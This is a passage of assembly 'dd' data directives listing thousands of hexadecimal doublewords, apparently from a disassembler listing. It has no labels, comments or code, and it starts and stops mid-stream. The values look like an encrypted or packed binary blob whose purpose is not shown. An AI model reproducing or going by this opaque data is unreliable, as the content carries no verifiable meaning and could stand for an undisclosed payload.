43D70128h, 9877786h, 2DB8675Fh, 0DDFE965Fh, 0AD6804E6h dd 3838FA3Fh, 419D4C0Bh, 0FA0487A5h, 0FAEE032Ch, 57F9122Fh dd 105A2052h, 7E9FF170h, 425F7AF1h, 5B10692Fh, 0BABB253Ah dd 0FAB4F6E2h, 5954AA44h, 837B102Ah, 49535425h, 6C04C292h dd 1BB877CAh, 4A51AEC1h, 9BA02B2Eh, 0E90FC2AAh, 0BC713E89h dd 225E801Eh, 16F460CEh, 122A8EBBh, 67AEC3A8h, 0FDCCA32Dh dd 2768F609h, 62C3D454h, 9E7D0F2Ah, 4BC290A9h, 0CDE8C5E8h dd 0E0A3EC23h, 12CB64B5h, 357D3668h, 0EA89BAB0h, 0E8D2960Ah dd 1468C26Ch, 8AFD5179h, 40577DAEh, 5C037F3Ah, 56425A05h dd 12AF33E9h, 0BD8EEBAEh, 4ED0E90Ch, 0C55A01CDh, 0C45F23F2h dd 9589AF33h, 8540B8C9h, 91E711E9h, 5FC8C03Dh, 21254D53h dd 418351EAh, 2E08E2C1h, 0E91ADFB3h, 0C6F70DCDh, 3954A07Ch dd 6C759CB1h, 2BE9C0CAh, 5ADB5430h, 354F1AEAh, 627D0BDFh dd 55A29AC2h, 0BD2C0C46h, 70C38D6Dh, 0E2113B45h, 0EDFB498h dd 5DAE5D5Eh, 4406E91Ah, 0D4F01091h, 575A80B5h, 49527EEh dd 8C804FA0h, 9DD0FA51h, 0EE8C5C1Bh, 0C260E8D9h, 44862471h dd 606D02AAh, 0CE722A63h, 0F7E90880h, 0DF31B24Fh, 680050FBh dd 260E52E0h, 3F4D5D1Bh, 0E0524C53h, 83B408AFh, 9F87C625h dd 0CD8B6B73h, 77C829F8h dd 0B2A5BC38h, 4455FC97h, 0E14AB1E4h, 6C8F2057h, 9C703E32h dd 7B137DAAh, 56F046D8h, 49B1294Eh, 66E90801h, 0B07E51BAh dd 582D1FB0h, 809F1235h, 8E6C1A9h, 0FC0B0298h, 8BF3AC77h dd 550D8B4Dh, 40979F6Eh, 836B9216h, 4FB9BF7h, 0EB80F501h dd 3CCC001h, 50C2C4D0h, 0BC21012h, 773360F3h, 4B39F48Ah dd 54362000h, 6895629Bh, 2C0ED069h, 20E1114h, 7B527DBBh dd 7C25C5FCh, 38532858h, 0FF4A9E5Fh, 0B58A592Ch, 0F32D4C80h dd 157A1C58h, 14A71830h, 0B55BF820h, 0FF1CD758h, 0C3169B2Ch dd 0C70A23AAh, 75E0062Fh, 0A898E02Eh, 731E1E2Dh, 7B0D81h dd 38F342EBh, 50933B05h, 50859CCDh, 0B4847563h, 4A5F28EFh dd 5020AFF6h, 0B0C4FE6Dh, 26BABC80h, 4BD60B6Ch, 184E6546h dd 0CA299E07h, 8490F073h, 0D26DA2BBh, 76DEC802h, 0FBE1E039h dd 52FA38E9h, 3235AA4Bh, 48C433BCh, 3462CD7Ch, 0FCB70CACh dd 0D08364FDh, 3544E9C3h, 0F6062097h, 12604130h, 0FAF3892Dh dd 0CB3EBDCAh, 65A2761Eh, 0B52C4E7Ah, 42259719h, 2C7853CCh dd 2E8402C4h, 0C05732BDh, 0EA02E532h, 54890D5h, 1C651E6Bh dd 68F90529h, 0BDF3AB60h, 880C3D02h, 81D8426Bh, 46CE91Ch dd 0A99937C9h, 7716ABB4h, 68093B65h, 2BC7BA9h, 46FF124Ah dd 3E71DE80h, 0E9256BDEh, 0AE2B785Bh, 6307F877h, 0FD303EEFh dd 0E12C5BF0h, 0D3FDE8E0h, 0EB59E528h, 0B73C6344h, 666B8CF9h dd 58DCB5C4h, 401456A5h, 4EB61A15h, 0AE5F94A0h, 0EF187167h dd 104A46D3h, 48D66C88h, 5A211083h, 0BFB0005Ah, 164746DDh dd 0D0F78101h, 97599F58h, 7BCFD8D9h, 27E11714h, 68D20BB0h dd 0E3B10F68h, 0EA254382h, 501776D5h, 0B1B7C583h, 0EC7B55F0h dd 95E98233h, 12FAE8DBh, 0DEDE635Fh, 0F5093BA0h, 0F63A1B68h dd 45756B52h, 6AE90B7Dh, 7E2FF876h, 0AECB62AFh, 575E8907h dd 680B96BDh, 0B6734F18h, 7926E941h, 0E5C6C981h, 0ED4E8B58h dd 130C3C7Ch, 0FCF8C468h, 1E70B9C0h, 0FC802043h, 5EB3245Bh dd 8FFA1E4Ah, 0BC651D62h, 1094ADAFh, 2C1CAD1Bh, 281483C5h dd 0BEA504D8h, 345E4A02h, 4C0D535h, 93CDA109h, 0D500CB66h dd 259942B7h, 72504F3Bh, 0CF81021Eh, 29070E04h, 0FA6A4980h dd 0E9EE0C97h, 0EFCB74D9h, 0B93067ECh, 24800C7Eh, 0E9621341h dd 6838420Eh, 2B663ED2h, 0D34C22B7h, 7932771Bh, 0A3204E6Eh dd 0F5213BDEh, 0F887B793h, 0F28ED843h, 984CE43Eh, 17EA0ED5h dd 42DD3F35h, 0C3016DEh, 0E3A5840h, 156E00Bh, 0F13B80D5h dd 0FD7B8B6Ah, 76311D4h, 3DE9490Ch, 69510B85h, 6B742D8Fh dd 0F1025D6Bh, 0ADD41EE9h, 0E539CC3Bh, 0F3B9B652h, 17F26D84h dd 4B2231EFh, 94492434h, 64D75918h, 586F43C8h, 0EA12E096h dd 5674282Ah, 0F8CE8927h, 0ED5959BCh, 8991552Fh, 51F5EA5Dh dd 97D6ADB3h, 79417389h, 6B81902Fh, 0CF6CF536h, 74E95512h dd 0C2B8E5C0h, 87222C34h, 2B2A3ED5h, 5B5F48DFh, 0A16AD104h dd 8BD4EA6Bh, 5D590809h, 0F4A7C9C7h, 0AD2F4230h, 12E78100h dd 6FAF245Bh, 5E3A021Bh, 34E1058Bh, 97F97DD7h, 0ED022DA8h dd 1648D18h, 0F6347F7Ch, 0C23025F1h, 258B40FBh, 3A458409h dd 4245820Fh, 0ED65DDF5h, 0D1F76909h, 92DA2DE1h, 79EBDB31h dd 0D7C23C3Ah, 44CAE353h, 98685643h, 0BE06966Ah, 0F1FC974Eh dd 17E67B73h, 70201422h, 54562CD0h, 0F80F1283h, 0F7E5DE41h dd 73965E94h, 5F648C48h, 432C2DA5h, 55B24ED4h, 0B7CDD2DDh dd 6FB41741h, 0F4A4B204h, 76C78100h, 3A50A5ACh, 91CFCC7h dd 0F4A70F89h, 974F09D1h, 1A31ACC6h, 5B5D4EE5h, 0AC2B8131h dd 4BE9BC80h, 5B19CA89h, 50E828BFh, 0AD06802h, 84584052h dd 0A51D82D0h, 39AB1C77h, 0DE06F331h, 0A0C09CE9h, 0C5EE1390h dd 9C01BFD2h, 4F371C49h, 8218F6ECh, 0F6528C5Fh, 0D4102E06h dd 29C70E6Bh, 220ECE2Bh, 14D9B86Bh, 68877418h, 8C674E92h dd 5F4E9DF3h, 2078CEA2h, 5A5F9853h, 935E9B0h, 90F371Eh dd 0BCC15062h, 6ABE00DDh, 4A491B39h, 0FCBDB053h, 63FC4AF1h dd 8F4930B2h, 87C07E29h, 4C080305h, 2806DF01h, 0CC1A9164h dd 0DDEDB602h, 0C2F9299Fh, 0B75077CFh, 0F8B2E14Eh, 0A47974C1h dd 3E046F5Ch, 88A4AEC6h, 43632FB3h, 662D3A65h, 0C8292C43h dd 3B31083Fh, 0C6D7BE01h, 816FABD2h, 6F0406CCh, 0CA0B98C5h dd 16A583Fh, 524C65BDh, 41EB2142h, 21148B5h, 893F545Eh dd 0B05D0768h, 80841CFFh, 0EB01C05Ah, 51C3FE06h, 3F828B5h dd 0D52FC147h, 0CCD3C580h, 0E89D1CEDh, 95AB3BE8h, 120974D3h dd 40E6322Ah, 8613070h, 0D629191Eh, 0D4900820h, 3379C539h dd 8C5A1C58h, 9E8193ABh, 0EE0901ACh, 8CDC15Dh, 1381F02Bh dd 72ABD35Ah, 717D5F45h, 0BA907A81h, 2FC05C2Dh, 359FE2EEh dd 0E8094BE5h, 0DF4018B6h, 9FD00166h, 7C25A3F0h, 633C5913h dd 8376DEC2h, 8E810B4Bh, 50C2F9B7h, 978BF620h, 0CB48445Ah dd 54E1399h, 10AF6E12h, 9A27F445h, 3B7ED30Fh, 43139D96h dd 613AF569h, 16FE1410h, 0EDD0553Bh, 0CAD25A1Fh, 0B3C710F6h dd 0EDF3387Bh, 0E8734B73h, 1DE1F26h, 34FC6F97h, 0F40DC44Bh dd 6C417719h, 0D306371h, 0F1392D12h, 0B43F307Fh, 0E83B2F1Bh dd 0B8D76942h, 0A4849E6Bh, 44AF0BA7h, 0E3F4161Bh, 1AC0E016h dd 76A7BAh, 0CA8154BCh, 48A91603h, 0CB424A38h, 0F3643AF0h dd 15BE0105h, 0EF35F262h, 0F3DE5CE2h, 60E1F5E9h, 5DA16AB0h dd 0E062BD6Fh, 0A89F44E9h, 7669BABh, 0D33156EFh, 28863A5Ah dd 55E80BFDh, 7F064146h, 214CB591h, 0DAF71ED8h, 4580F292h dd 1369F680h, 1D6BB151h, 0E8902D8Dh, 49004DBDh, 0BE56160Eh dd 168D4CA4h, 0BBF5312Eh, 60E9DA28h, 7FB9955Eh, 72DA815h dd 292BDF29h, 8098EDC4h, 8B91975Fh, 673363FAh, 59781262h dd 7ACA3103h, 0A9EF5B17h, 2CAA5A9Ch, 1009BA16h, 0D04C0C2Fh dd 0C2811C45h, 1F6B4418h, 0E11EC242h, 0B49A6803h, 9FD496C8h dd 55C9BA1Bh, 0BABB0015h, 0E1AC4A37h, 7F003A57h, 7EB56FF1h dd 1ECF30E9h, 846B9BFh, 81641A01h, 655816E1h, 13E9D060h dd 0B19537Bh, 9294468h, 66692AD1h, 0B1E9177Dh, 1920F9A8h dd 77F1C667h, 55B7ABFEh, 0B5A14F0Ch, 0C614FA1Eh, 2AC9328Dh dd 5C51826Ah, 3055626Ah, 281CEE12h, 41FB0B10h, 0E1542BF7h dd 291A3068h, 3B404BCDh, 0C50212F1h, 36E53852h, 0B1132A74h dd 8DE191ABh, 975E235h, 889088Fh, 8CAE5D16h, 335A2D42h dd 0E1EB3624h, 40D0F13Fh, 8724094Ch, 0EB046076h, 20A6963h dd 4ACF1BFh, 58538B08h, 77B38F15h, 0A3113B62h, 0A1C480A0h dd 442FE288h, 0AAD30D3Bh, 3434F6E3h, 0A3B5BB9Dh, 17C41520h dd 0AC07612Fh, 1E005EAh, 75FC3D3Eh, 0C1D1E24Bh, 53194779h dd 68570600h, 7C0027ECh, 0DA2D5F59h, 1454501Ch, 705F829h dd 4E7EA25Bh, 3F9310A4h, 2D7D9D45h, 78DCDA5Bh, 0D6C93D50h dd 443BB177h, 0BAD0FEF4h, 1AC00DA0h, 105C2901h, 7955D41h dd 88EEDF94h, 2D0E6657h, 0A3574A96h, 0CA6CB9BFh, 0BE697153h dd 0FE7EB81Dh, 40AFBB3Dh, 0E916DC54h, 68E680ABh, 572CBEEFh dd 5B804FC6h, 0E93A1C7Ah, 8C654A36h, 91F3266h, 99493E38h dd 6385F4D3h, 0FA84BA1Ah, 9292A6B6h, 9E6A718Eh, 0E9E226F1h dd 2F0976E8h, 0E918923Ch, 0F329B54Ah, 0E57F76EAh, 5DAAB645h dd 1BB089A8h, 973DD97Ch, 15A863BAh, 6BEFB9E0h, 86984F76h dd 0CE0B8F09h, 32800068h dd 0C16DC07Ah, 8511280Ch, 0ABE12F21h, 6B1B7240h, 0D08ACB96h dd 0E0BA88C0h, 1127901h, 6504F281h, 0B7ED2FDh, 470231A7h dd 0B84873E9h, 0C524685Ch, 56515638h, 68C04822h, 48AE0F83h dd 0CC2D5800h, 0E9143F3Eh, 0BD8A70EBh, 0F165A0DEh, 6C67CA21h dd 3B0D1F82h, 8BD7781Fh, 0B15D0C2h, 70345737h, 0F66FA1F5h dd 88C5D90Fh, 0CD2AF16Ah, 251B71EAh, 9422203Bh, 93CF173Eh dd 0E705EDD1h, 8ABFB499h, 527C6068h, 2B1D9F68h, 9FFF414Dh dd 19A9B387h, 0C24627B9h, 0CB14F1F5h, 7D2BCC5Dh, 29F05AE9h dd 1E0CA506h, 0E9530B3Eh, 5148F5BFh, 18B705C0h, 82963107h dd 173A70DDh, 0B8749768h, 0D7EFA148h, 68FB8982h, 0DD7C5E1Ch dd 259C52E9h, 317E51F8h, 25446072h, 452D8089h, 393A4D1Eh dd 0ABBCC717h, 49556304h, 0AF87800Dh, 0AA5E1EE2h, 0C1C24884h dd 2EBF00DEh, 4C48203Ch, 0C3D609A0h, 0C59780DFh, 4CCA1FD7h dd 9D40C70Bh, 452A1461h, 33038702h, 0E973EC64h, 0A1949682h dd 0DBA717B4h, 2874492h, 0FA3C81E9h, 4DCA0CF6h, 3A7C2B33h dd 0D4CCB216h, 314804BFh, 4C8513E7h, 0D4EFE7FBh, 0AA6517DAh dd 0F12EC8AEh, 0A349FA7Bh, 0C1B70431h, 0EE82F730h, 957C4C2h dd 358465D8h, 201C0E0Ah, 6BA79D08h, 0B90E4813h, 0B440045h dd 9ACF8957h, 0E25948B7h, 2B7D5E06h, 3470966Eh, 36C3Eh dd 423C1DE5h, 25E94D79h, 31749D2Ah, 1A0F246Fh, 6C9C0D00h dd 0F7127A0Eh, 7C4255D0h, 6067B978h, 3E02EAE5h, 0C604149h dd 1D2B319Ch, 0F07CDD80h, 0D5892772h, 1772142Eh, 3849AE05h dd 98927059h, 27D40E24h, 0E5A43204h, 645FA4CCh, 61D11B13h dd 0AB5FABA8h, 1AE0E56h, 771AC52h, 3040804Dh, 29327801h dd 7C3590F1h, 665D3087h, 8B77FA68h, 0CF064976h, 6E5B70F3h dd 0F9898084h, 3242C0Bh, 6252894h, 5F19FDC5h, 70EF5845h dd 0DC5B4B4Dh, 0E14FBFE8h, 7E696141h, 0BA9671F6h, 0B681CA61h dd 9221372Fh, 475F3935h, 10582667h, 92775C0h, 80E492A4h dd 6359477h, 3906B061h, 0A44C6F10h, 6877CB03h, 0E3E0333Bh dd 0CA3C1150h, 76F6965Ah, 0EFB40060h, 0BDED4BF5h, 0D0FD16FBh dd 0F4A6BCh, 8F27968Ch, 0A1B83166h, 48A17B4Bh, 0D2A4AC6Fh dd 62903709h, 0C0C5F798h, 0A71F5325h, 0E93C1877h, 342EB77Ch dd 0C26223C0h, 0C87D29C0h, 2B9C3234h, 0DF121BA3h, 293CAE6Bh dd 26CE50D2h, 5D17065Ch, 0CAD1010Eh, 0CCF7088Bh, 14163722h dd 0CABF5099h, 0A9D4D23Dh, 2D3B5AAh, 0CD66C4D4h, 0D868F3B1h dd 9267702h, 8E71F571h, 663AC632h, 0B85003BEh, 6AC737EEh dd 61DFD9F2h, 18815B58h, 61084B32h, 1273CC2Dh, 6E351800h dd 5303D33h, 0A045171Bh, 0C6E4B1F1h, 3A0751DFh, 0FB68DD85h dd 9E13BBE3h, 73C0F8E2h, 0E936711Dh, 4E81555Dh, 0F5E5C0D2h dd 0CE4E7FD3h, 0B231C02h, 0B3C8C659h, 91D7CEAh, 933F2913h dd 41AD5F0Ch, 0F40B980h, 0E4B74A72h, 68A088B4h, 953F70DDh dd 5F7A41DCh, 2345E579h, 70EBA5C8h, 170B257Bh, 408C328h dd 0B3473368h, 2AA070B8h, 5B3852EAh, 44F85A9Ah, 0F6AAB781h dd 0B3A6E4D7h, 162528C0h, 0F4663B5Bh, 948C4B88h, 0F2A580F6h dd 7A2E334Ch, 8025D870h, 651CBE56h, 0BB2B5E41h, 31F8F253h dd 7E15D406h, 0D6030C5Eh, 89AECDD3h, 0E91200F2h, 3C452F21h dd 564CD129h, 0E64E2D8Bh, 56324FDBh, 7B71BFF3h, 907AA2DCh dd 8890B56Ch, 3915D09Dh, 0AF66EF3h, 7543E949h, 86EF9C9Fh dd 8D2F7D5h, 426241FAh, 5DD9301Ah, 702636E5h, 4A57E950h dd 4921BAE5h, 303A7656h, 127B5965h, 29903659h, 0E958E651h dd 3DE15B82h, 0C3412098h, 0A1B272DDh, 0E545F75Eh, 4A1E6807h dd 0FFCE5D0Bh, 0BC2FE918h, 9707A325h, 0E020C247h, 7EB56670h dd 6097A2Ch, 0ED78386h, 0EF617695h, 4A17CBA5h, 70275A0Dh dd 25F43EB2h, 520A5890h, 3F3077E9h, 0E84B5D9Eh, 0C2645665h dd 5601C2E3h, 57CEEE89h, 77404CB0h, 31017F17h, 38E99E80h dd 7224BD64h, 58D10B05h, 232C1803h, 0C4402476h, 927CD1BFh dd 5EBCC256h, 8CDA595Fh, 0AD0A23C5h, 4770FBECh, 5B675C9Dh dd 291C07F9h, 53BF4B4Eh, 8D724469h, 2D5F00ACh, 5A187F85h dd 0D1C0127Ch, 7968DE8Eh, 6617046Ah, 0F1BA1B44h, 76F83B6Fh dd 0FE02AA93h, 5672B051h, 6D82C070h, 2D266065h, 0EA60C901h dd 9ADA2710h, 0C129098Bh, 0C7FC8BE9h, 45B65286h, 59C940B0h dd 66EA6827h, 5623A2D1h, 0B4FF2D1Fh, 95DDEA21h, 0F989B730h dd 0A640FCB0h, 0CE082758h, 0CF84E72Fh, 0C298AEAEh, 0F6854450h dd 8945770Bh, 72FF8039h, 135C1126h, 634B3F68h, 34AFFE7h dd 0EC61DCACh, 70E61640h, 0E005EB11h, 3108B7ECh, 0D54EDF82h dd 0BB02E1D2h, 3EDC7341h, 688A8129h, 1C764B37h, 3301D700h dd 7BFE2D4Ah, 1466CD3Ch, 120705C8h, 0C4A0CCE9h, 343B0BBBh dd 0E44B4DC7h, 0C3CB27F3h, 3BB034CEh, 78D6F337h, 1F09BE8Ah dd 426151A2h, 240A9F8Ch, 2C430C08h, 42973EBCh, 3D4BB45Fh dd 81305543h, 3C5DC106h, 1D903B73h, 0D86A9C07h, 0D30F76Bh dd 7579699Bh, 51670B14h, 7C507Bh, 0CAF87317h, 209C591Ch dd 6929ED04h, 50BF6CADh, 385F08EFh, 0C941EA3Fh, 79EDC230h dd 84515E06h, 88CBAE92h, 6F685E04h, 0C038EF0Fh, 666C0BC6h dd 45D23383h, 0F95D0882h, 99E94259h, 4857BC6Ah, 1222C6C0h dd 466F328h, 5409CE4h, 12A0FB29h, 0F4761B8Eh, 50C8D66Fh dd 0E91342E2h, 5D412549h, 46887583h, 751C6621h, 3109B7F8h dd 8426475Fh, 0AB542A68h, 31309129h, 4960822Eh, 0B40F500Fh dd 1DCF66Bh, 0E3280EECh, 46BCB07Fh, 3B48D9F3h, 17117112h dd 0CF85EF4h, 57225127h, 0B6D62CFCh, 4FD56AC4h, 0C0F1E0AFh dd 0F38AEB50h, 0DE28CF12h, 53E49AD1h, 87BA5200h, 34CC3D16h dd 91018512h, 8EB0E902h, 82CC343Eh, 0E9DF2CCDh, 1BDDFD72h dd 3116512Ch, 0B039FED8h, 86CB983Ah, 0F8C4E454h, 0E0D15F00h dd 6D9C7C35h, 0AD48B71Fh, 4082D685h, 3D26026Ah, 34AD1353h dd 84CBC1C8h, 1A3D771Eh, 0F7F6F5C9h, 56571CECh, 0C0D02F3Ch dd 3950B9D5h, 83BDF203h, 3F5465E1h, 0C877F26Ch, 91777C7h dd 89E936E6h, 0ED5DFFABh, 0BF5092FAh, 0E975D137h, 5F25DC1Ch dd 0A179231Ch, 1E75BF80h, 980AFC0Bh, 0DB04C755h, 0D89241E5h dd 0C563D22Ch, 7453122Fh, 0CA6C0916h, 1271494h, 281AF5FAh dd 5A5BCEFDh, 7BB6A7C6h, 4A753E59h, 337ABBC0h, 0B678BDF7h dd 309FE97h, 0E259A8C5h, 0DF7AD214h, 0BC7FA985h, 0B8508474h dd 0ECC28024h, 755FB439h, 0F54177FCh, 0BD0BB0A0h, 0CCBFCDF0h dd 5A44203Eh, 3CC33124h, 5277516h, 7615A080h, 886ABF72h dd 89590802h, 43327975h, 92F4CF31h, 7B56D459h, 3E18BE02h dd 0F29487B1h, 37F9D2C5h, 0F337EC4Eh, 56582789h, 0BD3A9E77h dd 755A4A56h, 24954B96h, 0A2AE6C29h, 9F324F38h, 2E2B4C51h dd 9289A5E9h, 1049F9BAh, 4E7E5429h, 2D80C0BEh, 0A42D1CF7h dd 438B5125h, 48124729h, 0FBB4EB9Dh, 0F2591852h, 22F00C4Fh dd 5F1D2504h, 9AC1D189h, 2ABCBCA9h, 41BF5781h, 31178E12h dd 754CC079h, 2164E4Fh, 0B2A2D84Bh, 0E29241CFh, 45D6352Ch dd 0F477E3A8h, 281C9F1Bh, 0DA9F4801h, 0BD227353h, 44787402h dd 769724EEh, 8809AA74h, 1523DEC0h, 646C288h, 29104A30h dd 883D2FAh, 94A61C3Dh, 0B58C166Ah, 0E4D3E4E3h, 0A55C34Dh dd 13CDE063h, 5A3F4B00h dd 5E6ACA81h, 703661D4h, 0F4DF5FEDh, 0AE487BE9h, 6F21A0D3h dd 0E9CFC21Ch, 7B5FB4D9h, 0BB6F65F6h, 52DE1C41h, 98605A56h dd 3F44413Ch, 8101D0FDh, 0E324B6CDh, 17F5D802h, 3970717h dd 40D1EDE0h, 68045F9Eh, 4E33632Dh, 0FED7FAA8h, 17EAA4C0h dd 4513305Bh, 370E6F0Ch, 0BA9614Eh, 27510840h, 568007E9h dd 0E120FAB4h, 3B09F6B9h, 0A7905149h, 957C96F7h, 94CD165Dh dd 49B8C2E0h, 5CA1B8FFh, 0FDB040Bh, 0A5615085h, 629AF9A8h dd 0DE266F7Dh, 43D788CEh, 0B1525BF8h, 69ED68C6h, 82E93F57h dd 543C9EA4h, 0E846493Ah, 0F17B0B2Dh, 254250B3h, 0C1725DB4h dd 4CE8A7A6h, 0C0494A4Fh, 4B373428h, 0E794E973h, 170C2C0Eh dd 0CBB23FB0h, 548FD00Ch, 0D6E96482h, 8601F058h, 0A9B753D9h dd 487CFFEh, 33D4C780h, 0A8B516F7h, 54F92D09h, 12E0013Eh dd 80781CE9h, 0EFD15816h, 0B706E7C1h, 0A67CEF60h, 0A5804D9Eh dd 0BD7E9910h, 66EF135Fh, 0CD8E4B81h, 73586DE2h, 1CEC581h dd 8D3BCA68h, 9D4BF4FFh, 2C13C6BDh, 0AEB0C7F6h, 0D00582C0h dd 0D857A51Ch, 568530B7h, 776ABE32h, 6A4CEC27h, 5848B1ECh dd 9D3FB120h, 18829D66h, 370B015Dh, 0FC3E1999h, 54DF8525h dd 8CF431AFh, 0D28B4728h, 56E9DCEEh, 74960FBh, 41734500h dd 122F2540h, 4FFAB897h, 0C371D0BBh, 2E256F33h, 9108532h dd 0E95EE080h, 4A9960C7h, 7D9B6853h, 344E502Ch, 71F3B05Bh dd 37A50B6Bh, 9D02D3F7h, 28F4E173h, 0BC525E78h, 0EA896191h dd 561A605Dh, 53C87817h, 0B5CC4FFh, 40E65A08h, 5B989691h dd 2F0A9726h, 0A08503B7h, 5158B9C0h, 0F4F86DC4h, 0C1280EAh dd 5576B337h, 0A90ED05h, 0D4FE119Ch, 1C081A4Ah, 995A1405h dd 16E430FEh, 68DA6082h, 0F034411Ah, 18B7836Bh, 8218B538h dd 0BAF5E382h, 92E7CBFDh, 0D0EF7FDh, 6E55C3EBh, 594C2F1Eh dd 5EC9ACD9h, 0E0E9E3FBh, 0CB91D08Ch, 0CD3D3F02h, 0F75DAA2Dh dd 98EF013Bh, 55249CF7h, 7C370B68h, 65C01125h, 527FCADh dd 2FFA7C69h, 10904FCh, 387AC6E1h, 163E2FCCh, 90F388AAh dd 7CEB0CC1h, 1D462A8Dh, 1C48417h, 0E95E90EEh, 0CBBE3A35h dd 0D5452E3h, 11E957EBh, 0B78F2E23h, 0E9193320h, 5690F0CCh dd 0F6813B30h, 32217C34h, 0D32B2F89h, 0EB802C60h, 0DFADF44Eh dd 0A9200884h, 56491294h, 8ADA1FBCh, 75A71995h, 677F2C29h dd 0B2E9418Ah, 0C623800Ah, 359F323Fh, 0C07E9D5Dh, 0E836D262h dd 0F056F3DDh, 776AB502h, 0A32F23C0h, 4BDC6880h, 50B22245h dd 0C191EF63h, 0FAE2D658h, 514548D9h, 0E9FE0C80h, 898F6936h dd 311F35F8h, 0ACEE1B75h, 0CE845644h, 0EE890B05h, 0C3246A9h dd 0DE0B1F92h, 81063062h, 3B5EACC9h, 2F189E0h, 40B37192h dd 0EB62CA21h, 0B9127A70h, 1EFA2FD8h, 784C12Fh, 20531D4Fh dd 6513B141h, 0DB80565Eh, 5BF708B0h, 8448C532h, 0E9F5020Fh dd 1CFD04D0h, 0A991FCF0h, 5C255E94h, 882BFE21h, 88135B41h dd 0B5C433C5h, 0B29C51E9h, 0B8009341h, 4A37AC2h, 47DF3501h dd 90D1EF34h, 3720D0F7h, 1A3013B7h, 7B0BF1E4h, 1844E444h dd 4051E902h, 0C14113D5h, 7972F39Bh, 1B72D400h, 0E5C15A01h dd 462065Ch, 22156CBDh, 26D4C6FBh, 0A1247AFCh, 8F3BAA37h dd 89519145h, 0B0F076EBh, 0A641920Ch, 4829713Eh, 43084139h dd 7102DCEDh, 2A72B4EAh, 0EE0BD763h, 0F2203BFFh, 60F962E8h dd 4E37F18Dh, 2D504048h, 40D764EDh, 5E4CE958h, 0A4534C8Dh dd 8B99DF6h, 175FFFC4h, 0AA183AAh, 41EA8B5Fh, 456F6D70h dd 470CA82Ah, 89EF3C01h, 6B78E9F5h, 68508E22h, 30487B07h dd 0E85387A3h, 2398F603h, 14C1042Dh, 0C5622019h, 0A982894Fh dd 20F672DFh, 0B904C053h, 43D41BE1h, 0BE565A80h, 72D702B2h dd 5EF13196h, 0AEF650D2h, 4F82F6BDh, 34847F25h, 3927EA81h dd 0E44082DBh, 0EEF777h, 70962C20h, 8BC84A5Bh, 405A3C57h dd 60860035h, 0D8F7122Bh, 930B112Dh, 0D521BEBBh, 681659E6h dd 0F88D39A4h, 6A720E80h, 7C7FCF81h, 0B9F7D49h, 2752E0Eh dd 5454ACDEh, 319B8289h, 20C56236h, 200DBD81h, 872E290Fh dd 5F461CF6h, 0AF33D112h, 64DA4801h, 0C8213D31h, 8028231h dd 40A85458h, 0FE3A37BAh, 823C399Ch, 0CA7BB3C1h, 0B16A5F16h dd 80A6080Eh, 0D35F8136h, 0E47E3AC9h, 725D576Eh, 2BE00F98h dd 6809F7C1h, 0F04C5796h, 8BB9C848h, 0E1445D75h, 0F4B7EFFAh dd 0B0FE4930h, 7487D52h, 0B3979C23h, 9094D7CCh, 44CB1E12h dd 0C3766343h, 433B4D57h, 62BDAFC6h, 2DB96606h, 0E259B4D1h dd 0EAFC90Ch, 483009BDh, 0E500574Eh, 498C13E3h, 75E4A9A0h dd 0E928CE1Dh, 0C8891D52h, 0D30EE97Ah, 5009F0C8h, 4ED25DFAh dd 5168BBD3h, 0B89440ECh, 0BDA4331Ch, 86C7318Fh, 0B74C5039h dd 0C202AB7Ch, 7D12AC71h, 0F0AE2E45h, 746DDDE9h, 4C70D12Fh dd 0A76BE9D1h, 9575698Bh, 0F713E43Ch, 813C1ED3h, 96FEE47h dd 1F872AFBh, 3D053047h, 0D2844CBAh, 0CA078104h, 21621577h dd 9EC7EAD4h, 0A46E5A30h, 577895F3h, 97D91D20h, 0C57D8D4Ah dd 0C0529F53h, 0E9EEEDBAh, 0D9AB9E5h, 0BB68490Bh, 8266DE7Dh dd 5C4EE2C3h, 1C4FC055h, 6C6F1376h, 81E2C589h, 3B3478D3h dd 0B55A778Ah, 0F0956E93h, 0C19341ABh, 710AF939h, 0EEF36E34h dd 27E90C40h, 0BAFFCCEAh, 0DA48012h, 4C3EDD0Eh, 0A5507C83h dd 0B7E51D09h, 0CE374825h, 66ED6805h, 4AC1EDh, 80D2F649h dd 531371EAh, 0C8099BB3h, 0C48D51BAh, 4AD1EC3Bh, 68A037B9h dd 79157E7h, 552057ADh, 7B6433DBh, 6D6CE912h, 0F88439FAh dd 9895CF2Bh, 94B2F263h, 58544329h, 8B1E5CD1h, 66938C91h dd 5306CF6Fh, 0B3054F85h, 545013CCh, 2D69CCAEh, 0AF56553Ch dd 752883Ah, 0CC71C224h, 0AF5BDB78h, 1731D29h, 610715D3h dd 1EB4F85Fh, 6380CB81h, 55684ACEh, 3727C44Dh, 0A6B900BBh dd 480AB772h, 3A013153h, 3CE9774Ch, 23DA3E9Eh, 102A9B42h dd 0B819D683h, 7AE9F017h, 6D79BDFDh, 58E5023Dh, 92972EAh dd 0E0A401D9h, 0C73BC902h, 7768D5B1h, 601226F3h, 6CDCAh dd 125E5214h, 0F96C34E9h, 2F393811h, 0FC0A94E2h, 201C14F2h dd 4720CFD0h, 4BA2BE02h, 0C03119EAh, 0B49472EEh, 4DFD4BF6h dd 4E7EA5B4h, 0D62B8669h, 6C30723h, 1E016207h, 8CB10D2h dd 29550C6Bh, 200AF2E5h, 5E1ED050h, 0C686F29h, 16D23E5Ah dd 7EAD7DC5h, 0F5F42A0Ch, 7168125Ah, 4FAFCA0Ch, 522EAFB6h dd 0A9E0132Ch, 0FF623CF1h, 73CC6D4Bh, 3AEB0968h, 7E9002E9h dd 71974386h, 15B0C0DDh, 0C26D0F6h, 53090B0Eh, 3AD88288h dd 0CFBF0048h, 0F0B59E44h, 10D30B02h, 4958BA2Bh, 857003B5h dd 0C75D3F0Fh, 5B4B337Ah, 0B4A12C0Ch, 5EFF031h, 4EC31010h dd 9C9E7F05h, 931FC0DFh, 7236F960h, 0D3624C1h, 3B0274A4h dd 0FDBFF00Ch, 5C6EC06Bh, 17125C6h, 47041D05h, 57FEE909h dd 11B20F00h, 0F0A138B7h, 8BD9E08Ch, 0B1F4014Ah, 91D8F907h dd 143B12E8h, 0EB04BE31h, 5F909F4Eh, 736511F6h, 87562F0Dh dd 0E9FB10D7h, 0A0E2B5A8h, 0CB14D9DFh, 6A69E177h, 8A9D12Ah dd 0BD01056Eh, 77065142h, 71608082h, 40D5627Bh, 48D0E774h dd 2F18E374h, 0B5F589D7h, 760CE2BDh, 1A7525DEh, 1186F7C3h dd 20206723h, 0BE549D5Dh, 8E82E5ACh, 4022654Bh, 0EA6A1110h dd 26329492h, 20522F73h, 0E9D52906h, 